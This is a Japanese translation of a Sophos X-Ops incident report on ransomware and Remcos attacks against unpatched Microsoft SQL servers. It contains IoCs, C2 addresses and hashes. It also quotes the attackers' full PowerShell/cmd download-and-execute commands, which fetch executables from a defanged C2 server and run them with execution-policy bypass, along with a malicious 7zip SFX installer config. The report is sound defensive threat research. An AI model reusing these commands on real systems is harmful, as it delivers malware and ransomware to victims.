脅威の調査

Sophos X-Ops、OODA ループによって SQL サーバーへの攻撃を撃退

Sophos X-Ops の各要素はどのように組み合わされているのでしょうか。攻撃者による大規模な攻撃を、複合的な取り組みによって阻止します。

** 本記事は、OODA: X-Ops Takes On Burgeoning SQL Server Attacks の翻訳です。最新の情報は英語記事をご覧ください。**

Sophos X-Ops は、観察-方針検討-決定-行動 (OODA) のループを構築し、各チームの活動に基づいて、より優れた保護をお客様に提供しています。X-Ops には SophosLabs、SecOps (Sophos Managed Threat Response (MTR) および Sophos Rapid Response)、Sophos AI の各チームが属しています。最近行われた一連の調査が、OODA ループのプロセスを例証しています。OODA ループを通じて、Microsoft SQL の 2 つの脆弱性を利用した攻撃を調査・文書化し、プロアクティブに対処しました。さらに、他の企業が同様の攻撃を受けているのを発見すると、各チームは協力して共通の原因を特定し、被害を最小限に抑えることで、お客様を (未然に) 保護しました。

2022 年初頭、SophosLabs と Sophos MTR は、旧来の脆弱性であり、すでに修正パッチが公開されていた 2 つのリモートコード実行 (RCE) の脆弱性 (CVE-2019-1068、CVE-2020-0618) を利用した Microsoft SQL Server への攻撃が急増していることを調査していました。これらの攻撃は、Remcos (「販売」されているリモートアクセス型トロイの木馬) を活用し、TargetCompany (別名 Mallox)、GlobeImposter (別名 Alpha865qqz)、BlueSky など、さまざまなランサムウェアファミリを展開します。

本レポートでは、Sophos Managed Threat Response (MTR) と Sophos Rapid Response のインシデント調査に焦点を当て、脅威に対処するためにソフォスの各チームがどのように連携したかを解説します。こういった最前線の取り組みは、SophosLabs の地道な研究活動、さらには Sophos AI チームの人員によるプロセスの一部自動化によって実現されています。

ソフォスの GitHub では、観測された攻撃者のインフラや、さまざまなセキュリティ侵害の痕跡 (IoC) を公開しています。後述の Rapid Response チームから得られた情報については、すでに MTR サービスや Intercept X に反映されていますが、興味深かったものをいくつかピックアップして紹介します。また、文書にまとめたものが必要な方向けに、本記事で説明している内容はインシデントガイドとして後日公開する予定です。

識別

今回の Microsoft SQL に対する攻撃における侵入方法、使用されたマルウェア、アクセスされたコマンドアンドコントロール (C2) サーバーなどから、2022 年前半に起きた複数のインシデントには同じ攻撃グループが関与している可能性が高いと考えられます。ソフォスは米国や近隣諸国での被害も確認しています。一方で、被害者の多くはアジアであることや、攻撃に用いられるツールのコンポーネントに現れるコメントなどから、攻撃元はアジアである可能性があります。この攻撃グループは、外部に公開され、パッチが適用されていない SQL サーバーを標的としていることが以前より確認されています。

初期アクセス

この攻撃グループに対する MTR の最初の調査では、Windows のライセンスキー有効化を回避するために使われる正規のソフトウェアユーティリティである KMSAuto のダウンロードサイトになりすましたマルウェアが攻撃に利用されているのが確認されました。

An overview of the attack as seen by MTR

図 1: 攻撃の概要

一方、Rapid Response チームが対応を行うのは通常、攻撃が発生した後であるため、攻撃の初期段階を直接確認することはできません。今回の事例では、被害者がまず異変に気づきました。保護されていない SQL サーバーに対する本格的なランサムウェア攻撃が発生していたのです。被害を受けた組織は、自力でサーバーのシステムを消去した後で、バックアップから復元することを選択したようです。復元する際には、Intercept X をインストールしました。しかしながら、攻撃を受けたサーバーには重要なパッチが適用されていなかったため、攻撃に対して脆弱なままになっていました。

この見落としを、攻撃者は当然見逃しませんでした。その翌週に、被害組織のサービスプロバイダーから被害組織に対し、サーバーが無関係の第三者に対する進行中のサービス妨害 (DoS) 攻撃に利用されているという警告が出されました。この時点で、被害組織は以前被害に遭ったサーバー上で Intercept X を実行しており、Intercept X はランサムウェアのさらなる活動は検出していませんでした。何が起こったのでしょうか。

感染チェーンと SQL エクスプロイト

Sophos MTR による調査では、攻撃グループがネットワーク内の移動 (ラテラルムーブメント) を行おうとした様子は確認されませんでした 。その代わりに、同一の攻撃コマンドが複数回使用され、最終的なランサムウェアの配信の前に何種類かの実行ファイルがダウンロードされ、実行されました。

“C:\Windows\system32\cmd.exe” /c “echo $client = New-Object
System.Net.WebClient > %TEMP%\update.ps1 & echo
$client.DownloadFile(“http://C2_Server_IP/-
malware.exe”,”%TEMP%\<random>.exe”) >> %TEMP%\update.ps1 & powershell –
ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create
“%TEMP%\<random>.exe””

MTR による調査が行われるきっかけは、9YFHR4SL.exe というファイルに対する CryptoGuard のアラートでした。

パス: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\9YFHR4SL.exe

ハッシュ: 7d0687911ea9423310b7b83ebec9f52944ac022795c3b796aca5f0d2d15954b1

分析によると、このファイルは実行されると http://91[.]243[.]44[.]105/Lvmsrqz_Phdvabki.jpg をダウンロードしていました。これは、GlobeImposter/Alpha865qqz の暗号化されたペイロードです。攻撃の主なステップは以下の図 2 に示されています。

  1. バッチコマンドが C:\Users\MSSQL$~1\AppData\Local\Temp\update.ps1 にファイルを作成
  2. PowerShell が update.ps1 を実行
  3. update.ps1 が m0qw5dj1.exem0qw5dj1.exe を実行
  4. exe ファイルが実行される
  5. サービスが停止する
  6. プロセスがキル (停止) される

Detail of the attack

図 2: 攻撃の主なステップ

コンポーネントの絶対パスから、exe ファイルは以下のような SQL サーバーの一時ティレクトリから実行されていることが確認できます。

C:\Users\MSSQL$~1\AppData\Local\Temp\update.ps1

C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\update.ps1

C:\Windows\ServiceProfiles\MSSQLSERVER\AppData\Local\Temp\JBEDW0VJ.exe

この事実は、初期アクセスが SQL サーバーを介して行われたことを示しています。次に、update.ps1 により以下のコマンドが実行されます。

“echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile(“http[:]//91[.]243[.]44[.]105/Lhtot.exe”,”%TEMP%\M0QW5DJ1.exe”) >> %TEMP%\update.ps1 & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create “%TEMP%\M0QW5DJ1.exe””

一方、同じ頃に Rapid Response チームが被害組織から連絡を受けました。Intercept X は攻撃がエスカレートするのを阻止してはいましたが、状況は予断を許しませんでした。結局のところ、エンドポイント保護というのはエンタープライズに備え付けられた盾に過ぎません。奇襲を阻止し、適切な防御を行うための猶予期間を作り出しますが、盾である以上、その状態のまま永遠に持ちこたえることはできません。さらに、被害組織の社内調査でも、原因の解明が滞っていました。 原因が不明なため、攻撃が近くエスカレートする可能性があると被害組織は判断したようです。

確認されたコンポーネント

MTR による調査の結果、この攻撃グループは、SQL サーバーに対する最近の攻撃において、何種類かのコンポーネントを使用していることが判明しました。使用されるコンポーネントには正規のソフトウェアが悪用されたものもあれば、元から悪意のあるソフトウェアもありました。以下が確認されたコンポーネントの一部です。

  • PowerShell ダウンローダー
  • dotNet ダウンローダー
  • TargetCompany / Mallox ランサムウェア
  • GlobeImposter / Alpha865qqz ランサムウェア
  • Kill$ クリーナー
  • 7zip SFX インストーラー (AutoIt ローダー)
  • リモートアクセス型トロイの木馬 Remcos

以下では、今回の攻撃におけるそれぞれのコンポーネントの役割を順番に説明します。(当然ながら、攻撃における特定のツールの存在や使用は、そのツール自体が悪質なものであることを意味しません。PowerShell や 7zip といったツールは、特定の状況下で悪用されているだけの、正規のアプリケーションです。)また、MTR がいくつかの感染事例を調査して発見した 8 つ目のコンポーネントについても詳述し、ネットワークで暴れまわる攻撃者からお客様を保護するために Rapid Response チームが行った調査と対処について説明します。

PowerShell ダウンローダー

ダウンロードサーバーに到達し、次に使用されるコンポーネントをダウンロードして実行する、非常に単純なスクリプトが MTR の調査によって発見されました。

$client = New-Object System.Net.WebClient

$client.DownloadFile(“http://91[.]243[.]44[.]142/arx-Ikrbwika.exe”,”C:\Users\MSSQL$~1\AppData\Local\Temp\VKDA55H6.exe”)

ダウンロードされる PE 実行ファイルは通常 dotNet ダウンローダーであり、このダウンローダーが最終的なペイロードをダウンロードします。最終的なペイロードに使われるのは上述のランサムウェアのうちの 1 つ、あるいは Remcos RAT の 1 種です。

dotNet ダウンローダー

次に、PowerShell が再度悪用され、追加の攻撃コンポーネントのダウンローダーとして機能する .NET 実行ファイルを実行します。下の図 3 における 1~5 のステップを順を追って説明します。

図 3: より多くの攻撃コンポーネントが関係するスニペット

図 3 では、sqlservr.exe プロセス (1) がダウンローダーを作成するコマンドライン (2) を実行しています。

“C:\WINDOWS\system32\cmd.exe” /c “echo $client = New-Object
System.Net.WebClient > %TEMP%\update.ps1 & echo
$client.DownloadFile(“http://91[.]243[.]44[.]142/pl-
Ukxamliyg.exe”,”%TEMP%\9ETVCRZF.exe”) >> %TEMP%\update.ps1 & powershell –
ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create
“%TEMP%\9ETVCRZF.exe””

次に update.ps1 (3) が dotNet ダウンローダーをダウンロードして実行 (4) し、ダウンローダーが最終的なペイロード (5) を取得します。

Acquiring the (slightly obfuscated) payload

図 4: ペイロードが取得される部分。デコード前のファイルの拡張子が .jpg であることに注目してください。

最終的なペイロードは難読化または暗号化されているため、dotNet ダウンローダーはまずペイロードをデコードします。暗号化には、ファイルの内容を反転させるという単純な手法が用いられることもあれば、ハードコードされた鍵を用いた XOR 暗号化が用いられることも多くなっています。

Decrypting the payload from the previous image

図 5: ペイロードの復号化

TargetCompany (Mallox) ランサムウェア

2022 年 3 月に、MTR チームは外部に公開された、パッチが適用されていない SQL サーバーが侵害された事例を調査しました。この事例では Sophos CryptoGuard がランサムウェアの攻撃を検知し、SQL データベースファイルなどの重要ファイルの暗号化を防止しました。インシデントを通じて、MTR は攻撃者がコマンドアンドコントロール (C2) サーバー 91[.]243[.]44[.]42 および 91[.]243[.]44[.]142 を活用するのを観測しました。

91[.]243[.]44[.]142 に位置するサーバーには図 6 で示されているようなファイルが配置してありました。他に調査されたサーバーでも同じファイルが確認されています。

An image showing a directory with twelve files visible

図 6: 悪意のあるサーバー 91[.]243[.]44[.]142 のディレクトリ一覧。Kill$ が一覧の上部にあるのが確認できます。

観測されたファイルパスは以下の通りです。

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\C258SEE8.exe

観測されたハッシュは以下の通りです。

8bb03cb1d5faf00b93612a10f24fb3afe025f59c0226a4b20b1a61fe06cd2077

プロセストレースにより、以下のディレクトリが確認されました。

1 C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\C258SEE8.exe [14500]

2 C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\C258SEE8.exe [13716]

C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp\C258SEE8.exe

3 C:\Windows\System32\wbem\WmiPrvSE.exe [12708]

C:\WINDOWS\system32\wbem\wmiprvse.exe -secured -Embedding

4 C:\Windows\System32\svchost.exe [736]

C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p

5 C:\Windows\System32\services.exe [984]

6 C:\Windows\System32\wininit.exe [856]

この段階で、wininit.exe がファイルに .avast という拡張子を付加しました。拡張子の付加は、マルウェア対策ソフトウェア企業の Avast が 2022 年 2 月上旬に、TargetCompany ランサムウェアにより暗号化されたファイルを復号化する手法を公開したことに由来します。この手法の公開後、TargetCompany はランサムウェアのファイル拡張子を「.mallox」から「.avast」に変更しました。(同時に、暗号化アルゴリズムの不具合も修正されました。)私たちはこの件を Avast 社に通知しました。

最後に、MTR は TargetCompany/Mallox への感染によって生成されたランサムノート (身代金要求文書) および攻撃元の連絡先情報を確認しました。

A short-and-not-so-sweet ransom note from the keepers of Mallow

図 7: ランサムウェアのペイロードの連絡先情報とランサムノート

このランサムノートには、 2 件のメールアドレスが記されています。mallox@tutanota.com と recohelper@cock.li です。

GlobeImposter (Alpha865qqz) ランサムウェア

この種のランサムウェアは、「how to back your files.exe (ファイルを復元する方法)」と題したファイルを作成します。このファイルには図 8 のようなランサムノートが含まれています。ファイルが実行されると以下のようなランサムノートが表示されます。

A longer ransom note, this time from the keepers of GlobeImposter

図 8: GlobeImposter マルウェアのランサムノート

実行されると、このランサムウェアはファイル末尾に .Globeimposter-Alpha865qqz という拡張子を追加します。

ランサムノートには、China.Helper@aol.com という連絡先が記載されています。このメールアドレスは、本記事の後半で再度登場します。

Kill$ クリーナー

このコンポーネントはバッチファイルを %TEMP% ディレクトリにドロップし、実行します。ドロップされたバッチファイルはサービスやプロセスを停止します。その後、図 9 に示すように、進行状況を表示する一連のコンソールウィンドウが表示されます。

Kill$ stopping many, many processes

図 9: 被害者のサービスやプロセスを停止する Kill$

Kill$.exe は %TEMP% ディレクトリにバッチファイルをドロップします。興味深いことに、このバッチファイルには中国語のコメント文字列が含まれています。

Screen showing comment strings in Chinese

図 10: 攻撃元を示唆する多言語コメント

確認された中国語の文字列は、以下のように訳されます。

  • 「cmd のデフォルトの関連付けを復元」
  • 「::NET 権限設定」
  • 「:mshta 権限設定」
  • 「::FTP 権限設定」
  • 「::wscript 権限設定」
  • 「::cscript 権限設定」
  • 「::powershell 権限設定」
  • 「::ProgramData フォルダ権限設定」
  • 「::Public フォルダ権限設定」

7Zip SFX インストーラー

一部のペイロードファイルは 7zip の SFX 実行ファイルでした。図 12 に示すように、この実行ファイルの中には一見、forma.xla というジャンクファイルが入っているだけです。

It seemed to be a lonely little file

図 11: 7zip SFX 実行ファイル内の唯一のファイル

しかし実際には、ドロッパーが作成する一時ディレクトリに複数のファイルが確認できます。

Narrator: It was not a lonely little file

図 12: 実際は唯一のファイルではありませんでした

これらのインストーラーは、7zip の SFX ファイル構造を悪用しています。通常、SFX ファイルには以下の 3 種類のコンポーネントが含まれています。

  • sfx : SFX のスタブプログラム
  • txt: 自動実行スクリプトを含む構成ファイル
  • 7z: 展開するアーカイブの中身

これらのコンポーネントは、7-Zip / Open Archive / # というコマンドを用いてアーカイブを解析モードで開くことにより確認できます。アーカイブを解析モードで開くと、図 13 のような結果が得られます。

Parsing the unclean archive, which contains four files

図 13: 細工された SFX ファイルの解析

上図ではスタブ (1) と構成ファイル (2) が確認できます。さらに、アーカイブの中身の代わりに、2 件のファイルが配置されています。(3) は図 11 で確認した偽のジャンクファイル Forma.xla を含む、低容量の ZIP パッケージです。(4) は以下の図で確認できるファイルを含む本物のインストーラーの 7zip アーカイブです。

Three files in the archive

図 14: 図 13 の 4.7z アーカイブの中身

本物のインストーラー (図 13 の 4.7z) は通常、インストーラースクリプトと並んでオーバーレイ領域に配置されていますが、リソースの 1 つとして SFX スタブプログラム内にある場合もあります。

インストーラーの構成ファイルは以下のようになっています。

;!@Install@!UTF-8!

GUIMode=”2″

OverwriteMode=”1″

SetEnvironment=”Venuto=d”

RunProgram=”dllhost.exe”

RunProgram=”cm%Venuto% /c cm%Venuto% < Qui.xla”

;!@InstallEnd@!

この構成ファイルにより、Qui.xla コマンドスクリプトの内容が実行されます。この種のインストーラースクリプトは、Red Canary のホワイトペーパーで説明されています。攻撃者は、数年前に確認された CypherIT による難読化など、以前の攻撃手法を盗用しているようです。

このスクリプトには、図 14 に示すように、一部 (意図的に) 破損した AutoIt ローダー (Impazienzia.xla)、AutoIt スクリプト (Potare.xla)、およびバッチコマンドファイル (Qui.xla) が含まれています。ArrFQX.dll は、正規の Microsoft システムコンポーネントである ntdll.dll です。

Qui.xla は AutoIt ローダーを復元 (先頭のジャンク文字列を削除し、MZ マーカーを配置) し、(SFX アーカイブに存在しない場合に) Riverdela.exe.pif をコピーして、ローダーおよび AutoIt スクリプトを実行します。

Screen showing Qui.xla running

図 15: 実行中の Qui.xla

Remcos またはランサムウェアが最終的なペイロードとして用いられます。

Remcos

ここでは、SQL サーバーの一時ディレクトリ (1) から update.ps1 が実行されます。Update.ps1 はダウンロードサーバー 91[.]243[.]44[.]105 (2) にアクセスし、Remcos ペイロード (3) をダウンロードして実行します。

The attack flow

図 16: 悪意のある update.ps1 の攻撃フロー

繰り返しますが、ペイロードに用いられているのは Remcos です。

The Remcos payload

図 17: Remcos のトレース結果

Remcos の構成データには、レジストリの HKEY_CURRENT_USER\Software\Remcos-{生成された ID}\license に書き込まれる以下の値が含まれています。

572275BEEA6ECA3A6089848060C1A26D

GlobeImposter の「そっくりさん」

ソフォスは非常に広範囲にわたってデータ収集を行っているため、攻撃およびペイロード展開の全体像を解明する証拠を発見することが時折あります。ソフォスの MTR チームはテレメトリを通じて、GlobeImposter に類似した、とあるランサムウェアを観測しました。

この事例では、ダウンロードされたペイロードは 7zip インストーラーの 1 つでした。

図 18: 「偽物」の GlobeImposter をインストールするフロー

図 18 に、この「偽物」がインストールされるフローが以下の順序で示されています。

  1. ps1 ファイルが実行される
  2. c:\windows\serviceprofiles\networkservice\appdata\local\temp\a0hnp5kn.exe をダウンロードして実行する
  3. 7Zip SFX ファイルからインストーラーバッチファイルが実行される(“C:\Windows\System32\cmd.exe” /c cmd < Chiamando.png)
  4. 解凍されたスクリプトを実行するために AutoIt インタプリタ c:\windows\serviceprofiles\networkservice\appdata\local\temp\7zipsfx.000\doni.exe.pif が呼び出される
  5. サービスが停止する
  6. プロセスがキル (停止) される
  7. ランサムノート実行ファイル q:\factoryrecovery\how to back your files.exe が作成される

ダウンロードされたペイロードは以下のハッシュを持っています。

5d0e4ef9ee1f3a319faa45c572b5e7097865ddbda3840d138ae65a7d829cfddf

ペイロードは、以下の 2 台のサーバーでホストされていました。

http://91[.]243[.]44[.]42/G-865-nMSamgr.exe

http://91[.]243[.]44[.]30/G-865-nMSamgr.exe

ランサムウェアによる攻撃プロセスは図 19 で示されているように、さまざまなサービスを停止することから始まります。

First the imposter kills many processes...

図 19: 大量のサービスの停止

その後、図 20 のようなランサムノートを作成します。China.Helper@aol.com というアドレスが記載されていることに注目してください。このアドレスは、「本物の」GlobeImposter が使用された上述のインシデントでも確認されたものです。

...and then it delivers a familiar ransom note.

図 20: 図 8 の GlobeImposter のランサムノートに酷似したランサムノート

Rapid Response チームに話を戻すと、調査員はセキュリティ侵害の痕跡 (IoC) やお客様のネットワークに残った痕跡を確認しながら、調査を進めました。その結果、Rapid Response チームは攻撃者がパッチが適用されないままのサーバーを発見し、そのサーバーからシステムに再度アクセスしようとした痕跡を発見しました。しかし、今回は Intercept X がインストールされていたので、MTR チームが確認したような、複数のファイルをダウンロードしようとする特徴的な試みは何度も撃退されました。また、攻撃者は、クライアントのネットワーク内を移動 (ラテラルムーブメント) するのに何度も失敗していました。ソフォス製品による保護下にある限り、お客様がデータの窃取や身代金の要求にさらされることはありません。

Rapid Response チームは、これまで知られていなかった侵害の指標である、IOBit Unlocker と呼ばれるアンチマルウェアツールを発見しました。このツールは、Intercept X のようなアンチウイルス/アンチマルウェアソフトを無効にすることを目的としています。しかし、Intercept X はこの勝負に勝ち、迷惑アプリケーション (PUA) として IOBit Unlocker にフラグを立て、実行される前にクライアントのシステムから削除しました。

Rapid Response チームは、MTR チームが以前確認したように、攻撃者がラテラルムーブメント、権限昇格、データ窃取を行おうとした痕跡がはっきりとは確認できていないことに注目し、調査を進めました。その結果、ソフォスが調査に取り掛かって以降の攻撃者の活動は、前述の通り Intercept X の動作を停止させることに重点を置いていたことがわかりました。Intercept X が攻撃を食い止めている間に、Rapid Response の研究者は、お客様のシステムに記録された活動と MTR がすでに蓄積していた情報との間に、さらに多くの相関関係を発見したのです。決定的な証拠となったのは何でしょうか。答えは、お客様の SQL サーバーと悪質な KMSAuto 配布サイト間の継続的なトラフィックです。しかし、このトラフィックは、攻撃者の他の行動と、類似の攻撃についての事前知識がなければ、サービス拒否 (DoS) 攻撃の最中に発見するのはとても不可能でした。

分析が終了し、問題の原因も特定されたので、Rapid Response チームはお客様を保護するための作業を継続できるようになりました。今回の攻撃者は上記の 2 件の MS-SQL の脆弱性を利用することで知られており、お客様のシステム内でこれらの脆弱性に対するパッチが適用されていないものを特定するのが非常に重要でした。このインシデントに関する Rapid Response チームの最終報告書は、35 ページにも及びました。報告書の核となる部分は、お客様を保護・強化し、攻撃者の足場を取り払うことに焦点を合わせた緩和策の詳細を記した 4 ページの項目でした。Rapid Response チームはお客様の環境を復元する作業を MTR チームに任せ、次のインシデントの対応に取り掛かりました。

結論

複数のペイロードや難読化を伴う攻撃は稀ではないため、防御側は対処すべきです。しかしながら、組織内での分断や、同じ会社の傘下にあるチーム間のコミュニケーション不足が難読化を進展させることは避けなくてはなりません。ソフォスはお客様を全面的にサポートします。X-Ops という名前は耳慣れないかもしれませんが、本記事で紹介した様子からもわかるように、各チームが行うプロセスは何も新しいものではありません。

Sophos X-Ops の詳細については、FAQ を参照してください。

謝辞

本記事への貢献に対し、SophosLabs の Richard Cohen、Rapid Response チームの Robert Weiland、Harinder Bhathal、Syed Zaidi、Mahmoud Alsharqawi、Sergio Bestulic および Peter Mackenzie に筆者一同、謝意を表します。

コメントを残す

Your email address will not be published.